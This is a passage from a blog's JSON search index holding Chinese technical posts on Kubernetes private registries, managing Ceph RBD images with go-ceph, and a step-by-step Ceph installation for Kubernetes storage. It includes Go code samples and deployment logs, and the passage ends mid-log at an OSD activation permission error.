\u0026quot;rbd-rest-api-registrykey-m4-1\u0026quot; created # kubectl get pod NAME READY STATUS RESTARTS AGE rbd-rest-api-registrykey-m4-1 1/1 Running 0 5s Pod创建成功！\n","permalink":"https://tonybai.com/2016/11/16/how-to-pull-images-from-private-registry-on-kubernetes-cluster/","summary":"\u003cp\u003e话接上文，在《\u003ca href=\"http://tonybai.com/2016/11/09/operate-ceph-rbd-images-with-go-ceph/\"\u003e使用go-ceph管理Ceph RBD映像\u003c/a\u003e》一文中我们提到了，我们需要自建一个ceph rbd api service用于给我的产品控制台提供RESTful API服务接口。这个服务我也是打算放在kubernetes集群中作为一个Service运行的。这两天完成了这个服务开发，并编写完Service的Dockerfile，将镜像build, tag并push到了我们在阿里云的私有镜像库。但在通过kubectl创建这个Service时，我们遇到了 ErrImagePull、ImagePullBackOff等Pod status，通过kubectl describe pod/{MyPod}命令查看，发现下面错误提示：\u003c/p\u003e","title":"Kubernetes从Private Registry中拉取容器镜像的方法"},{"content":"在《使用Ceph RBD为Kubernetes集群提供存储卷》一文中，我们了解到，在Kubernetes和ceph的集成过程中，有一个步骤是需要手动操作的，那就是创建ceph osd pool下面的rbd image。我们需要想办法去除这一手动步骤。关于方案，我们首先想到的就是是否可以调用Ceph提供的REST API来管理rbd的pool和image？\nCeph提供了两套REST API方案：ceph-rest-api和Calamari。不过从现有资料来看，这两套REST API似乎都没有提供操作pool下image的服务接口。Calamari计划实现image的service接口，但目前已经没有实现。\n在Ceph REST API对rbd的覆盖还全面的情况下，我们只能自己动手，丰衣足食了：我们需要利用ceph提供library API实现对pool和image的管理，并对外提供自定义的Service API。如果你是一名gopher，那么go-ceph这个golang ceph library API binding将会给你带来不小的帮助。go-ceph实质上是通过cgo做的一个ceph c library的golang binding，覆盖较为全面：rados、rbd和cephfs都支持。\n一、安装go-ceph和依赖 首先，由于用的是cgo，使用go-ceph包的程序在编译时势必要去链接ceph的c library，因此我们在开发环境中需要首先安装go-ceph包的一些依赖(在ubuntu 14.04上)：\n# apt-get install librados-dev # apt-get install librbd-dev # ls /usr/include/rados buffer_fwd.h buffer.h crc32c.h librados.h librados.hpp memory.h page.h rados_types.h rados_types.hpp # ls /usr/include/rbd features.h librbd.h librbd.hpp 接下来就是安装go-ceph自身了，我们通过最常用的go get命令就可以很顺利的下载到go-ceph包。\n# go get github.com/ceph/go-ceph 二、go-ceph：连接Ceph集群 go-ceph的文档不多，但go-ceph使用起来并不算困难，关于go-ceph中各个包的用法，可以参考对应包中的*_test.go文件。\n连接Ceph集群的方法之一如下：\n//github.com/bigwhite/experiments/blob/master/go-ceph/conn.go package main import ( \u0026quot;fmt\u0026quot; \u0026quot;github.com/ceph/go-ceph/rados\u0026quot; ) func main() { conn, err := rados.NewConn() if err != nil { fmt.Println(\u0026quot;error when invoke a new connection:\u0026quot;, err) return } err = conn.ReadDefaultConfigFile() if err != nil { fmt.Println(\u0026quot;error when read default config file:\u0026quot;, err) return } err = conn.Connect() if err != nil { fmt.Println(\u0026quot;error when connect:\u0026quot;, err) return } fmt.Println(\u0026quot;connect ceph cluster ok!\u0026quot;) conn.Shutdown() } 这里conn对象采用的是读取默认配置文件(/etc/ceph/ceph.conf)的方式获取的mon node信息，go-ceph文档中称还可以通过命令行参数以及环境变量的方式获取。但命令行参数的方式，我个人试了几次都没能连上。即便是对照着librados c api的文档进行参数传递也没成。\n三、go-ceph：管理pool Pool是Ceph集群的一个逻辑概念，一个Ceph集群可以有多个pool，每个pool是逻辑上的隔离单位。不同的pool可以有完全不一样的数据处理方式，比如Replica Size（副本数）、Placement Groups、CRUSH Rules、快照、所属者等。go-ceph支持对pool的创建、查看以及删除等管理操作：\n//github.com/bigwhite/experiments/blob/master/go-ceph/pool.go ... ... func newConn() (*rados.Conn, error) { conn, err := rados.NewConn() if err != nil { return nil, err } err = conn.ReadDefaultConfigFile() if err != nil { return nil, err } err = conn.Connect() if err != nil { return nil, err } return conn, nil } func listPools(conn *rados.Conn, prefix string) { pools, err := conn.ListPools() if err != nil { fmt.Println(\u0026quot;error when list pool\u0026quot;, err) os.Exit(1) } fmt.Println(prefix, \u0026quot;:\u0026quot;, pools) } func main() { conn, err := newConn() if err != nil { fmt.Println(\u0026quot;error when invoke a new connection:\u0026quot;, err) return } defer conn.Shutdown() fmt.Println(\u0026quot;connect ceph cluster ok!\u0026quot;) listPools(conn, \u0026quot;before make new pool\u0026quot;) err = conn.MakePool(\u0026quot;new_pool\u0026quot;) if err != nil { fmt.Println(\u0026quot;error when make new_pool\u0026quot;, err) return } listPools(conn, \u0026quot;after make new pool\u0026quot;) err = conn.DeletePool(\u0026quot;new_pool\u0026quot;) if err != nil { fmt.Println(\u0026quot;error when delete pool\u0026quot;, err) return } listPools(conn, \u0026quot;after delete new_pool\u0026quot;) } 执行pool.go：\n# go run pool.go connect ceph cluster ok! before make new pool : [rbd rbd1] after make new pool : [rbd rbd1 new_pool] after delete new_pool : [rbd rbd1] 四、go-ceph：管理image image是我们真正要去管理的对象（pool可以采用默认的”rbd”），image的管理依赖go-ceph下的rbd包：\n//github.com/bigwhite/experiments/blob/master/go-ceph/image.go ... ... func listImages(ioctx *rados.IOContext, prefix string) { imageNames, err := rbd.GetImageNames(ioctx) if err != nil { fmt.Println(\u0026quot;error when getImagesNames\u0026quot;, err) os.Exit(1) } fmt.Println(prefix, \u0026quot;:\u0026quot;, imageNames) } func main() { conn, err := newConn() if err != nil { fmt.Println(\u0026quot;error when invoke a new connection:\u0026quot;, err) return } defer conn.Shutdown() fmt.Println(\u0026quot;connect ceph cluster ok!\u0026quot;) ioctx, err := conn.OpenIOContext(\u0026quot;rbd\u0026quot;) if err != nil { fmt.Println(\u0026quot;error when openIOContext\u0026quot;, err) return } defer ioctx.Destroy() listImages(ioctx, \u0026quot;before create new image\u0026quot;) name := \u0026quot;go-ceph-image\u0026quot; img, err := rbd.Create(ioctx, name, 1\u0026lt;\u0026lt;20, 20) if err != nil { fmt.Println(\u0026quot;error when create rbd image\u0026quot;, err) return } listImages(ioctx, \u0026quot;after create new image\u0026quot;) err = img.Remove() if err != nil { fmt.Println(\u0026quot;error when remove image\u0026quot;, err) return } listImages(ioctx, \u0026quot;after remove new image\u0026quot;) } 这里要注意的是rbd.Create这个方法，如果第三个参数（image size）传递过小，那么rbd.Create会报错，比如；如果我们将那一伙代码改为：\nimg, err := rbd.Create(ioctx, name, 1\u0026lt;\u0026lt;10, 10) 那么执行image.go时，会得到一下错误：\nerror when create rbd image rbd: ret=-33 33就是linux errno，其含义是：\n#define EDOM 33 /* Math argument out of domain of func */ 猜测这个参数的单位是字节，具体参数的合法范围，文档和代码并没有给出显式说明。\n五、小结 go-ceph实现了rbd pool/images的基本管理功能，为提供rbd restful api奠定了基础。写了三篇长文后，来一篇短的，营养算不上多，用于备忘还好。\n","permalink":"https://tonybai.com/2016/11/09/operate-ceph-rbd-images-with-go-ceph/","summary":"\u003cp\u003e在《\u003ca href=\"http://tonybai.com/2016/11/07/integrate-kubernetes-with-ceph-rbd/\"\u003e使用Ceph RBD为Kubernetes集群提供存储卷\u003c/a\u003e》一文中，我们了解到，在\u003ca href=\"http://tonybai.com/tag/kubernetes\"\u003eKubernetes\u003c/a\u003e和\u003ca href=\"http://tonybai.com/tag/ceph\"\u003eceph\u003c/a\u003e的集成过程中，有一个步骤是需要手动操作的，那就是创建ceph osd pool下面的rbd image。我们需要想办法去除这一手动步骤。关于方案，我们首先想到的就是是否可以调用Ceph提供的REST API来管理rbd的pool和image？\u003c/p\u003e","title":"使用go-ceph管理Ceph RBD映像"},{"content":"一旦走上使用Kubernetes的道路，你就会发现这条路并不好走，充满荆棘。即便你使用Kubernetes建立起的集群规模不大，也是需要“五脏俱全”的，否则你根本无法真正将kubernetes用起来，或者说一个半拉子Kubernetes集群很可能无法满足你要支撑的业务需求。在目前我正在从事的一个产品就是这样，光有K8s还不够，考虑到”有状态服务”的需求，我们还需要给Kubernetes配一个后端存储以支持Persistent Volume机制，使得Pod在k8s的不同节点间调度迁移时，具有持久化需求的数据不会被清除，且Pod中Container无论被调度到哪个节点，始终都能挂载到同一个Volume。\nKubernetes支持多种Volume类型，这里选择Ceph RBD（Rados Block Device）。选择Ceph大致有三个原因：\nCeph经过多年开发，已经逐渐步入成熟； Ceph在Ubuntu 14.04.x上安装方便（仅通过apt-get即可），并且在未经任何调优（调优需要你对Ceph背后的原理十分熟悉）的情况下，性能可以基本满足我们需求； Ceph同时支持对象存储、块存储和文件系统接口，虽然这里我们可能仅需要块存储。 即便这样，Ceph与K8s的集成过程依旧少不了“趟坑”，接下来我们就详细道来。\n一、环境和准备条件 我们依然使用两个阿里云ECS Node，操作系统以及内核版本为：Ubuntu 14.04.4 LTS (GNU/Linux 3.19.0-70-generic x86_64)。\nCeph采用当前Ubuntu 14.04源中最新的Ceph LTS版本：JEWEL10.2.3。\nKubernetes版本为上次安装时的1.3.7版本。\n二、Ceph安装原理 Ceph分布式存储集群由若干组件组成，包括：Ceph Monitor、Ceph OSD和Ceph MDS，其中如果你仅使用对象存储和块存储时，MDS不是必须的（本次我们也不需要安装MDS），仅当你要用到Cephfs时，MDS才是需要安装的。\nCeph的安装模型与k8s有些类似，也是通过一个deploy node远程操作其他Node以create、prepare和activate各个Node上的Ceph组件，官方手册中给出的示意图如下：\n映射到我们实际的环境中，我的安装设计是这样的：\nadmin-node, deploy-node(ceph-deploy)：10.47.136.60 iZ25cn4xxnvZ mon.node1，(mds.node1): 10.47.136.60 iZ25cn4xxnvZ osd.0: 10.47.136.60 iZ25cn4xxnvZ osd.1: 10.46.181.146 iZ25mjza4msZ 实际上就是两个Aliyun ECS节点承担以上多种角色。不过像iZ25cn4xxnvZ这样的host name太反人类，长远考虑还是换成node1、node2这样的简单名字更好。通过编辑各个ECS上的/etc/hostname, /etc/hosts，我们将iZ25cn4xxnvZ换成node1，将iZ25mjza4msZ换成node2：\n10.47.136.60 （node1)： # cat /etc/hostname node1 # cat /etc/hosts 127.0.0.1 localhost 127.0.1.1 localhost.localdomain localhost # The following lines are desirable for IPv6 capable hosts ::1 localhost ip6-localhost ip6-loopback ff02::1 ip6-allnodes ff02::2 ip6-allrouters 10.47.136.60 admin 10.47.136.60 node1 10.47.136.60 iZ25cn4xxnvZ 10.46.181.146 node2 ---------------------------------- 10.46.181.146 （node2)： # cat /etc/hostname node2 # cat /etc/hosts 127.0.0.1 localhost 127.0.1.1 localhost.localdomain localhost # The following lines are desirable for IPv6 capable hosts ::1 localhost ip6-localhost ip6-loopback ff02::1 ip6-allnodes ff02::2 ip6-allrouters 10.46.181.146 node2 10.46.181.146 iZ25mjza4msZ 10.47.136.60 node1 于是上面的环境设计就变成了：\nadmin-node, deploy-node(ceph-deploy)：node1 10.47.136.60 mon.node1, (mds.node1) : node1 10.47.136.60 osd.0: node1 10.47.136.60 osd.1: node2 10.46.181.146 三、Ceph安装步骤 1、安装ceph-deploy Ceph提供了一键式安装工具ceph-deploy来协助Ceph集群的安装，在deploy node上，我们首先要来安装的就是ceph-deploy，Ubuntu 14.04官方源中的ceph-deploy是1.4.0版本，比较old，我们需要添加Ceph源，安装最新的ceph-deploy：\n# wget -q -O- 'https://download.ceph.com/keys/release.asc' | sudo apt-key add - OK # echo deb https://download.ceph.com/debian-jewel/ $(lsb_release -sc) main | sudo tee /etc/apt/sources.list.d/ceph.list deb https://download.ceph.com/debian-jewel/ trusty main #apt-get update ... ... # apt-get install ceph-deploy Reading package lists... Done Building dependency tree Reading state information... Done .... ... The following NEW packages will be installed: ceph-deploy 0 upgraded, 1 newly installed, 0 to remove and 105 not upgraded. Need to get 96.4 kB of archives. After this operation, 622 kB of additional disk space will be used. Get:1 https://download.ceph.com/debian-jewel/ trusty/main ceph-deploy all 1.5.35 [96.4 kB] Fetched 96.4 kB in 1s (53.2 kB/s) Selecting previously unselected package ceph-deploy. (Reading database ... 153022 files and directories currently installed.) Preparing to unpack .../ceph-deploy_1.5.35_all.deb ... Unpacking ceph-deploy (1.5.35) ... Setting up ceph-deploy (1.5.35) ... 注意：ceph-deploy只需要在admin/deploy node上安装即可。\n2、前置设置 和安装k8s一样，在ceph-deploy真正执行安装之前，需要确保所有Ceph node都要开启NTP，同时建议在每个node节点上为安装过程创建一个安装账号，即ceph-deploy在ssh登录到每个Node时所用的账号。这个账号有两个约束：\n具有sudo权限； 执行sudo命令时，无需输入密码。 我们将这一账号命名为cephd，我们需要在每个ceph node上(包括admin node/deploy node)都建立一个cephd用户，并加入到sudo组中。\n以下命令在每个Node上都要执行： useradd -d /home/cephd -m cephd passwd cephd 添加sudo权限： echo \u0026quot;cephd ALL = (root) NOPASSWD:ALL\u0026quot; | sudo tee /etc/sudoers.d/cephd sudo chmod 0440 /etc/sudoers.d/cephd 在admin node(deploy node)上，登入cephd账号，创建该账号下deploy node到其他各个Node的ssh免密登录设置，密码留空：\n在deploy node上执行： $ ssh-keygen Generating public/private rsa key pair. Enter file in which to save the key (/home/cephd/.ssh/id_rsa): Created directory '/home/cephd/.ssh'. Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /home/cephd/.ssh/id_rsa. Your public key has been saved in /home/cephd/.ssh/id_rsa.pub. The key fingerprint is: .... 将deploy node的公钥copy到其他节点上去：\n$ ssh-copy-id cephd@node1 The authenticity of host 'node1 (10.47.136.60)' can't be established. ECDSA key fingerprint is d2:69:e2:3a:3e:4c:6b:80:15:30:17:8e:df:3b:62:1f. Are you sure you want to continue connecting (yes/no)? yes /usr/bin/ssh-copy-id: INFO: attempting to log in with the new key(s), to filter out any that are already installed /usr/bin/ssh-copy-id: INFO: 1 key(s) remain to be installed -- if you are prompted now it is to install the new keys cephd@node1's password: Number of key(s) added: 1 Now try logging into the machine, with: \u0026quot;ssh 'cephd@node1'\u0026quot; and check to make sure that only the key(s) you wanted were added. 同样，执行 ssh-copy-id cephd@node2，完成后，测试一下免密登录。\n$ ssh node1 Welcome to Ubuntu 14.04.4 LTS (GNU/Linux 3.19.0-70-generic x86_64) * Documentation: https://help.ubuntu.com/ New release '16.04.1 LTS' available. Run 'do-release-upgrade' to upgrade to it. Welcome to aliyun Elastic Compute Service! 最后，在Deploy node上创建并编辑~/.ssh/config，这是Ceph官方doc推荐的步骤，这样做的目的是可以避免每次执行ceph-deploy时都要去指定 –username {username} 参数。\n//~/.ssh/config Host node1 Hostname node1 User cephd Host node2 Hostname node2 User cephd 3、安装ceph 这个环节参考的是Ceph官方doc手工部署一节。\n如果之前安装过ceph，可以先执行如下命令以获得一个干净的环境：\nceph-deploy purgedata node1 node2 ceph-deploy forgetkeys ceph-deploy purge node1 node2 接下来我们就可以来全新安装Ceph了。在deploy node上，建立cephinstall目录，然后进入cephinstall目录执行相关步骤。\n我们首先来创建一个ceph cluster，这个环节需要通过执行ceph-deploy new {initial-monitor-node(s)}命令。按照上面的安装设计，我们的ceph monitor node就是node1，因此我们执行下面命令来创建一个名为ceph的ceph cluster：\n$ ceph-deploy new node1 [ceph_deploy.conf][DEBUG ] found configuration file at: /home/cephd/.cephdeploy.conf [ceph_deploy.cli][INFO ] Invoked (1.5.35): /usr/bin/ceph-deploy new node1 [ceph_deploy.cli][INFO ] ceph-deploy options: [ceph_deploy.cli][INFO ] username : None [ceph_deploy.cli][INFO ] func : \u0026lt;function new at 0x7f71d2051938\u0026gt; [ceph_deploy.cli][INFO ] verbose : False [ceph_deploy.cli][INFO ] overwrite_conf : False [ceph_deploy.cli][INFO ] quiet : False [ceph_deploy.cli][INFO ] cd_conf : \u0026lt;ceph_deploy.conf.cephdeploy.Conf instance at 0x7f71d19f5710\u0026gt; [ceph_deploy.cli][INFO ] cluster : ceph [ceph_deploy.cli][INFO ] ssh_copykey : True [ceph_deploy.cli][INFO ] mon : ['node1'] [ceph_deploy.cli][INFO ] public_network : None [ceph_deploy.cli][INFO ] ceph_conf : None [ceph_deploy.cli][INFO ] cluster_network : None [ceph_deploy.cli][INFO ] default_release : False [ceph_deploy.cli][INFO ] fsid : None [ceph_deploy.new][DEBUG ] Creating new cluster named ceph [ceph_deploy.new][INFO ] making sure passwordless SSH succeeds [node1][DEBUG ] connection detected need for sudo [node1][DEBUG ] connected to host: node1 [node1][DEBUG ] detect platform information from remote host [node1][DEBUG ] detect machine type [node1][DEBUG ] find the location of an executable [node1][INFO ] Running command: sudo /sbin/initctl version [node1][DEBUG ] find the location of an executable [node1][INFO ] Running command: sudo /bin/ip link show [node1][INFO ] Running command: sudo /bin/ip addr show [node1][DEBUG ] IP addresses found: [u'101.201.78.51', u'192.168.16.1', u'10.47.136.60', u'172.16.99.0', u'172.16.99.1'] [ceph_deploy.new][DEBUG ] Resolving host node1 [ceph_deploy.new][DEBUG ] Monitor node1 at 10.47.136.60 [ceph_deploy.new][DEBUG ] Monitor initial members are ['node1'] [ceph_deploy.new][DEBUG ] Monitor addrs are ['10.47.136.60'] [ceph_deploy.new][DEBUG ] Creating a random mon key... [ceph_deploy.new][DEBUG ] Writing monitor keyring to ceph.mon.keyring... [ceph_deploy.new][DEBUG ] Writing initial config to ceph.conf... new命令执行完后，ceph-deploy会在当前目录下创建一些辅助文件：\n# ls ceph.conf ceph-deploy-ceph.log ceph.mon.keyring $ cat ceph.conf [global] fsid = f5166c78-e3b6-4fef-b9e7-1ecf7382fd93 mon_initial_members = node1 mon_host = 10.47.136.60 auth_cluster_required = cephx auth_service_required = cephx auth_client_required = cephx 由于我们仅有两个OSD节点，因此我们在进一步安装之前，需要先对ceph.conf文件做一些配置调整：\n修改配置以进行后续安装：\n在[global]标签下，添加下面一行： osd pool default size = 2 ceph.conf保存退出。接下来，我们执行下面命令在node1和node2上安装ceph运行所需的各个binary包：\n# ceph-deploy install nod1 node2 .... ... [node2][INFO ] Running command: sudo ceph --version [node2][DEBUG ] ceph version 10.2.3 (ecc23778eb545d8dd55e2e4735b53cc93f92e65b) 这一过程ceph-deploy会SSH登录到各个node上去，执行apt-get update, 并install ceph的各种组件包，这个环节耗时可能会长一些（依网络情况不同而不同），请耐心等待。\n4、初始化ceph monitor node 有了ceph启动的各个程序后，我们首先来初始化ceph cluster的monitor node。在deploy node的工作目录cephinstall下，执行：\n# ceph-deploy mon create-initial [ceph_deploy.conf][DEBUG ] found configuration file at: /root/.cephdeploy.conf [ceph_deploy.cli][INFO ] Invoked (1.5.35): /usr/bin/ceph-deploy mon create-initial [ceph_deploy.cli][INFO ] ceph-deploy options: [ceph_deploy.cli][INFO ] username : None [ceph_deploy.cli][INFO ] verbose : False [ceph_deploy.cli][INFO ] overwrite_conf : False [ceph_deploy.cli][INFO ] subcommand : create-initial [ceph_deploy.cli][INFO ] quiet : False [ceph_deploy.cli][INFO ] cd_conf : \u0026lt;ceph_deploy.conf.cephdeploy.Conf instance at 0x7f0f7ea2fe60\u0026gt; [ceph_deploy.cli][INFO ] cluster : ceph [ceph_deploy.cli][INFO ] func : \u0026lt;function mon at 0x7f0f7ee93de8\u0026gt; [ceph_deploy.cli][INFO ] ceph_conf : None [ceph_deploy.cli][INFO ] default_release : False [ceph_deploy.cli][INFO ] keyrings : None [ceph_deploy.mon][DEBUG ] Deploying mon, cluster ceph hosts node1 [ceph_deploy.mon][DEBUG ] detecting platform for host node1... [node1][DEBUG ] connected to host: node1 [node1][DEBUG ] detect platform information from remote host [node1][DEBUG ] detect machine type .... [iZ25cn4xxnvZ][INFO ] Running command: ceph --cluster=ceph --admin-daemon /var/run/ceph/ceph-mon.iZ25cn4xxnvZ.asok mon_status [ceph_deploy.mon][INFO ] mon.iZ25cn4xxnvZ monitor has reached quorum! [ceph_deploy.mon][INFO ] all initial monitors are running and have formed quorum [ceph_deploy.mon][INFO ] Running gatherkeys... [ceph_deploy.gatherkeys][INFO ] Storing keys in temp directory /tmp/tmpP_SmXX [iZ25cn4xxnvZ][DEBUG ] connected to host: iZ25cn4xxnvZ [iZ25cn4xxnvZ][DEBUG ] detect platform information from remote host [iZ25cn4xxnvZ][DEBUG ] detect machine type [iZ25cn4xxnvZ][DEBUG ] find the location of an executable [iZ25cn4xxnvZ][INFO ] Running command: /sbin/initctl version [iZ25cn4xxnvZ][DEBUG ] get remote short hostname [iZ25cn4xxnvZ][DEBUG ] fetch remote file [iZ25cn4xxnvZ][INFO ] Running command: /usr/bin/ceph --connect-timeout=25 --cluster=ceph --admin-daemon=/var/run/ceph/ceph-mon.iZ25cn4xxnvZ.asok mon_status [iZ25cn4xxnvZ][INFO ] Running command: /usr/bin/ceph --connect-timeout=25 --cluster=ceph --name mon. --keyring=/var/lib/ceph/mon/ceph-iZ25cn4xxnvZ/keyring auth get-or-create client.admin osd allow * mds allow * mon allow * [iZ25cn4xxnvZ][INFO ] Running command: /usr/bin/ceph --connect-timeout=25 --cluster=ceph --name mon. --keyring=/var/lib/ceph/mon/ceph-iZ25cn4xxnvZ/keyring auth get-or-create client.bootstrap-mds mon allow profile bootstrap-mds [iZ25cn4xxnvZ][INFO ] Running command: /usr/bin/ceph --connect-timeout=25 --cluster=ceph --name mon. --keyring=/var/lib/ceph/mon/ceph-iZ25cn4xxnvZ/keyring auth get-or-create client.bootstrap-osd mon allow profile bootstrap-osd [iZ25cn4xxnvZ][INFO ] Running command: /usr/bin/ceph --connect-timeout=25 --cluster=ceph --name mon. --keyring=/var/lib/ceph/mon/ceph-iZ25cn4xxnvZ/keyring auth get-or-create client.bootstrap-rgw mon allow profile bootstrap-rgw ... ... [ceph_deploy.gatherkeys][INFO ] Storing ceph.client.admin.keyring [ceph_deploy.gatherkeys][INFO ] Storing ceph.bootstrap-mds.keyring [ceph_deploy.gatherkeys][INFO ] keyring 'ceph.mon.keyring' already exists [ceph_deploy.gatherkeys][INFO ] Storing ceph.bootstrap-osd.keyring [ceph_deploy.gatherkeys][INFO ] Storing ceph.bootstrap-rgw.keyring [ceph_deploy.gatherkeys][INFO ] Destroy temp directory /tmp/tmpP_SmXX 这一过程很顺利。命令执行完成后我们能看到一些变化：\n在当前目录下，出现了若干*.keyring，这是Ceph组件间进行安全访问时所需要的：\n# ls -l total 216 -rw------- 1 root root 71 Nov 3 17:24 ceph.bootstrap-mds.keyring -rw------- 1 root root 71 Nov 3 17:25 ceph.bootstrap-osd.keyring -rw------- 1 root root 71 Nov 3 17:25 ceph.bootstrap-rgw.keyring -rw------- 1 root root 63 Nov 3 17:24 ceph.client.admin.keyring -rw-r--r-- 1 root root 242 Nov 3 16:40 ceph.conf -rw-r--r-- 1 root root 192336 Nov 3 17:25 ceph-deploy-ceph.log -rw------- 1 root root 73 Nov 3 16:28 ceph.mon.keyring -rw-r--r-- 1 root root 1645 Oct 16 2015 release.asc 在node1(monitor node)上，我们看到ceph-mon已经运行起来了：\ncephd@node1:~/cephinstall$ ps -ef|grep ceph ceph 32326 1 0 14:19 ? 00:00:00 /usr/bin/ceph-mon --cluster=ceph -i node1 -f --setuser ceph --setgroup ceph 如果要手工停止ceph-mon，可以使用stop ceph-mon-all 命令。\n5、prepare ceph OSD node 至此，ceph-mon组件程序已经成功启动了，剩下的只有OSD这一关了。启动OSD node分为两步：prepare 和 activate。OSD node是真正存储数据的节点，我们需要为ceph-osd提供独立存储空间，一般是一个独立的disk。但我们环境不具备这个条件，于是在本地盘上创建了个目录，提供给OSD。\n在deploy node上执行： ssh node1 sudo mkdir /var/local/osd0 exit ssh node2 sudo mkdir /var/local/osd1 exit 接下来，我们就可以执行prepare操作了，prepare操作会在上述的两个osd0和osd1目录下创建一些后续activate激活以及osd运行时所需要的文件：\ncephd@node1:~/cephinstall$ ceph-deploy osd prepare node1:/var/local/osd0 node2:/var/local/osd1 [ceph_deploy.conf][DEBUG ] found configuration file at: /home/cephd/.cephdeploy.conf [ceph_deploy.cli][INFO ] Invoked (1.5.35): /usr/bin/ceph-deploy osd prepare node1:/var/local/osd0 node2:/var/local/osd1 [ceph_deploy.cli][INFO ] ceph-deploy options: [ceph_deploy.cli][INFO ] username : None [ceph_deploy.cli][INFO ] disk : [('node1', '/var/local/osd0', None), ('node2', '/var/local/osd1', None)] [ceph_deploy.cli][INFO ] dmcrypt : False [ceph_deploy.cli][INFO ] verbose : False [ceph_deploy.cli][INFO ] bluestore : None [ceph_deploy.cli][INFO ] overwrite_conf : False [ceph_deploy.cli][INFO ] subcommand : prepare [ceph_deploy.cli][INFO ] dmcrypt_key_dir : /etc/ceph/dmcrypt-keys [ceph_deploy.cli][INFO ] quiet : False [ceph_deploy.cli][INFO ] cd_conf : \u0026lt;ceph_deploy.conf.cephdeploy.Conf instance at 0x7f072603e8c0\u0026gt; [ceph_deploy.cli][INFO ] cluster : ceph [ceph_deploy.cli][INFO ] fs_type : xfs [ceph_deploy.cli][INFO ] func : \u0026lt;function osd at 0x7f0726492d70\u0026gt; [ceph_deploy.cli][INFO ] ceph_conf : None [ceph_deploy.cli][INFO ] default_release : False [ceph_deploy.cli][INFO ] zap_disk : False [ceph_deploy.osd][DEBUG ] Preparing cluster ceph disks node1:/var/local/osd0: node2:/var/local/osd1: [node1][DEBUG ] connection detected need for sudo [node1][DEBUG ] connected to host: node1 [node1][DEBUG ] detect platform information from remote host [node1][DEBUG ] detect machine type [node1][DEBUG ] find the location of an executable [node1][INFO ] Running command: sudo /sbin/initctl version [node1][DEBUG ] find the location of an executable [ceph_deploy.osd][INFO ] Distro info: Ubuntu 14.04 trusty [ceph_deploy.osd][DEBUG ] Deploying osd to node1 [node1][DEBUG ] write cluster configuration to /etc/ceph/{cluster}.conf [ceph_deploy.osd][DEBUG ] Preparing host node1 disk /var/local/osd0 journal None activate False [node1][DEBUG ] find the location of an executable [node1][INFO ] Running command: sudo /usr/sbin/ceph-disk -v prepare --cluster ceph --fs-type xfs -- /var/local/osd0 [node1][WARNIN] command: Running command: /usr/bin/ceph-osd --cluster=ceph --show-config-value=fsid [node1][WARNIN] command: Running command: /usr/bin/ceph-osd --check-allows-journal -i 0 --cluster ceph [node1][WARNIN] command: Running command: /usr/bin/ceph-osd --check-wants-journal -i 0 --cluster ceph [node1][WARNIN] command: Running command: /usr/bin/ceph-osd --check-needs-journal -i 0 --cluster ceph [node1][WARNIN] command: Running command: /usr/bin/ceph-osd --cluster=ceph --show-config-value=osd_journal_size [node1][WARNIN] populate_data_path: Preparing osd data dir /var/local/osd0 [node1][WARNIN] command: Running command: /bin/chown -R ceph:ceph /var/local/osd0/ceph_fsid.782.tmp [node1][WARNIN] command: Running command: /bin/chown -R ceph:ceph /var/local/osd0/fsid.782.tmp [node1][WARNIN] command: Running command: /bin/chown -R ceph:ceph /var/local/osd0/magic.782.tmp [node1][INFO ] checking OSD status... [node1][DEBUG ] find the location of an executable [node1][INFO ] Running command: sudo /usr/bin/ceph --cluster=ceph osd stat --format=json [ ceph_deploy.osd][DEBUG ] Host node1 is now ready for osd use. [node2][DEBUG ] connection detected need for sudo [node2][DEBUG ] connected to host: node2 ... ... [node2][INFO ] Running command: sudo /usr/bin/ceph --cluster=ceph osd stat --format=json [ceph_deploy.osd][DEBUG ] Host node2 is now ready for osd use. prepare并不会启动ceph osd，那是activate的职责。\n6、激活ceph OSD node 接下来，我们来激活各个OSD node：\n$ ceph-deploy osd activate node1:/var/local/osd0 node2:/var/local/osd1 ... ... [node1][WARNIN] got monmap epoch 1 [node1][WARNIN] command: Running command: /usr/bin/timeout 300 ceph-osd --cluster ceph --mkfs --mkkey -i 0 --monmap /var/local/osd0/activate.monmap --osd-data /var/local/osd0 --osd-journal /var/local/osd0/journal --osd-uuid 6def4f7f-4f37-43a5-8699-5c6ab608c89c --keyring /var/local/osd0/keyring --setuser ceph --setgroup ceph [node1][WARNIN] Traceback (most recent call last): [node1][WARNIN] File \u0026quot;/usr/sbin/ceph-disk\u0026quot;, line 9, in \u0026lt;module\u0026gt; [node1][WARNIN] load_entry_point('ceph-disk==1.0.0', 'console_scripts', 'ceph-disk')() [node1][WARNIN] File \u0026quot;/usr/lib/python2.7/dist-packages/ceph_disk/main.py\u0026quot;, line 5011, in run [node1][WARNIN] main(sys.argv[1:]) [node1][WARNIN] File \u0026quot;/usr/lib/python2.7/dist-packages/ceph_disk/main.py\u0026quot;, line 4962, in main [node1][WARNIN] args.func(args) [node1][WARNIN] File \u0026quot;/usr/lib/python2.7/dist-packages/ceph_disk/main.py\u0026quot;, line 3324, in main_activate [node1][WARNIN] init=args.mark_init, [node1][WARNIN] File \u0026quot;/usr/lib/python2.7/dist-packages/ceph_disk/main.py\u0026quot;, line 3144, in activate_dir [node1][WARNIN] (osd_id, cluster) = activate(path, activate_key_template, init) [node1][WARNIN] File \u0026quot;/usr/lib/python2.7/dist-packages/ceph_disk/main.py\u0026quot;, line 3249, in activate [node1][WARNIN] keyring=keyring, [node1][WARNIN] File \u0026quot;/usr/lib/python2.7/dist-packages/ceph_disk/main.py\u0026quot;, line 2742, in mkfs [node1][WARNIN] '--setgroup', get_ceph_group(), [node1][WARNIN] File \u0026quot;/usr/lib/python2.7/dist-packages/ceph_disk/main.py\u0026quot;, line 2689, in ceph_osd_mkfs [node1][WARNIN] raise Error('%s failed : %s' % (str(arguments), error)) [node1][WARNIN] ceph_disk.main.Error: Error: ['ceph-osd', '--cluster', 'ceph', '--mkfs', '--mkkey', '-i', '0', '--monmap', '/var/local/osd0/activate.monmap', '--osd-data', '/var/local/osd0', '--osd-journal', '/var/local/osd0/journal', '--osd-uuid', '6def4f7f-4f37-43a5-8699-5c6ab608c89c', '--keyring', '/var/local/osd0/keyring', '--setuser', 'ceph', '--setgroup', 'ceph'] failed : 2016-11-04 14:25:40.325009 7fd1aa73f800 -1 filestore(/var/local/osd0) mkfs: write_version_stamp() failed: (13) Permission denied [node1][WARNIN] 2016-11-04 14:25:40.325032 7fd1aa73f800 -1 OSD::mkfs: ObjectStore::mkfs failed with error -13 [node1][WARNIN] 